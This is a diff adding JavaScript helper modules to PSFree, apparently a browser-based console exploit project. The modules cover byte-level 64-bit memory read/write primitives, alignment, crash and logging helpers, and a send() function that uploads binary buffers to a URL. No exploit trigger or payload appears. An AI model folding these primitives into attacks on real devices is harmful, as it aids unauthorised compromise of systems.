// to implement read32, we need to index the view instead:
|
||||
//
|
||||
// function read32(u8_view, offset) {
|
||||
// let res = 0;
|
||||
// for (let i = 0; i < 4; i++) {
|
||||
// res += u8_view[offset + i] << i*8;
|
||||
// }
|
||||
// // << returns a signed integer, >>> converts it to unsigned
|
||||
// return res >>> 0;
|
||||
// }
|
||||
|
||||
// for reads less than 8 bytes
|
||||
function read(u8_view, offset, size) {
|
||||
let res = 0;
|
||||
for (let i = 0; i < size; i++) {
|
||||
res += u8_view[offset + i] << i*8;
|
||||
}
|
||||
// << returns a signed integer, >>> converts it to unsigned
|
||||
return res >>> 0;
|
||||
}
|
||||
|
||||
export function read16(u8_view, offset) {
|
||||
return read(u8_view, offset, 2);
|
||||
}
|
||||
|
||||
export function read32(u8_view, offset) {
|
||||
return read(u8_view, offset, 4);
|
||||
}
|
||||
|
||||
export function read64(u8_view, offset) {
|
||||
let res = [];
|
||||
for (let i = 0; i < 8; i++) {
|
||||
res.push(u8_view[offset + i]);
|
||||
}
|
||||
return new Int(res);
|
||||
}
|
||||
|
||||
// for writes less than 8 bytes
|
||||
function write(u8_view, offset, value, size) {
|
||||
for (let i = 0; i < size; i++) {
|
||||
u8_view[offset + i] = (value >>> i*8) & 0xff;
|
||||
}
|
||||
}
|
||||
|
||||
export function write16(u8_view, offset, value) {
|
||||
write(u8_view, offset, value, 2);
|
||||
}
|
||||
|
||||
export function write32(u8_view, offset, value) {
|
||||
write(u8_view, offset, value, 4);
|
||||
}
|
||||
|
||||
export function write64(u8_view, offset, value) {
|
||||
if (!(value instanceof Int)) {
|
||||
throw TypeError('write64 value must be an Int');
|
||||
}
|
||||
|
||||
let low = value.low();
|
||||
let high = value.high();
|
||||
|
||||
for (let i = 0; i < 4; i++) {
|
||||
u8_view[offset + i] = (low >>> i*8) & 0xff;
|
||||
}
|
||||
for (let i = 0; i < 4; i++) {
|
||||
u8_view[offset + 4 + i] = (high >>> i*8) & 0xff;
|
||||
}
|
||||
}
|
||||
|
||||
export function sread64(str, offset) {
|
||||
let res = [];
|
||||
for (let i = 0; i < 8; i++) {
|
||||
res.push(str.charCodeAt(offset + i));
|
||||
}
|
||||
return new Int(res);
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
PSFree is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU Affero General Public License as
|
||||
published by the Free Software Foundation, either version 3 of the
|
||||
License, or (at your option) any later version.
|
||||
|
||||
PSFree is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU Affero General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Affero General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||
|
||||
import { Int } from './int64.mjs';
|
||||
|
||||
export function die(msg) {
|
||||
alert(msg);
|
||||
undefinedFunction();
|
||||
}
|
||||
|
||||
export function debug_log(msg) {
|
||||
let textNode = document.createTextNode(msg);
|
||||
let node = document.createElement("p").appendChild(textNode);
|
||||
|
||||
document.body.appendChild(node);
|
||||
document.body.appendChild(document.createElement("br"));
|
||||
}
|
||||
|
||||
export function clear_log() {
|
||||
document.body.innerHTML = null;
|
||||
}
|
||||
|
||||
export function str2array(str, length, offset) {
|
||||
if (offset === undefined) {
|
||||
offset = 0;
|
||||
}
|
||||
let a = new Array(length);
|
||||
for (let i = 0; i < length; i++) {
|
||||
a[i] = str.charCodeAt(i + offset);
|
||||
}
|
||||
return a;
|
||||
}
|
||||
|
||||
// alignment must be 32 bits and is a power of 2
|
||||
export function align(a, alignment) {
|
||||
if (!(a instanceof Int)) {
|
||||
a = new Int(a);
|
||||
}
|
||||
const mask = -alignment & 0xffffffff;
|
||||
let type = a.constructor;
|
||||
let low = a.low() & mask;
|
||||
return new type(low, a.high());
|
||||
}
|
||||
|
||||
export async function send(url, buffer, file_name, onload=() => {}) {
|
||||
const file = new File(
|
||||
[buffer],
|
||||
file_name,
|
||||
{type:'application/octet-stream'}
|
||||
);
|
||||
const form = new FormData();
|
||||
form.append('upload', file);
|
||||
|
||||
debug_log('send');
|
||||
const response = await fetch(url, {method: 'POST', body: form});
|
||||
|
||||
if (!response.ok) {
|
||||
throw Error(`Network response was not OK, status: ${response.status}`);
|
||||
}
|
||||
onload();
|
||||
}
|
||||
Reference in New Issue
Block a user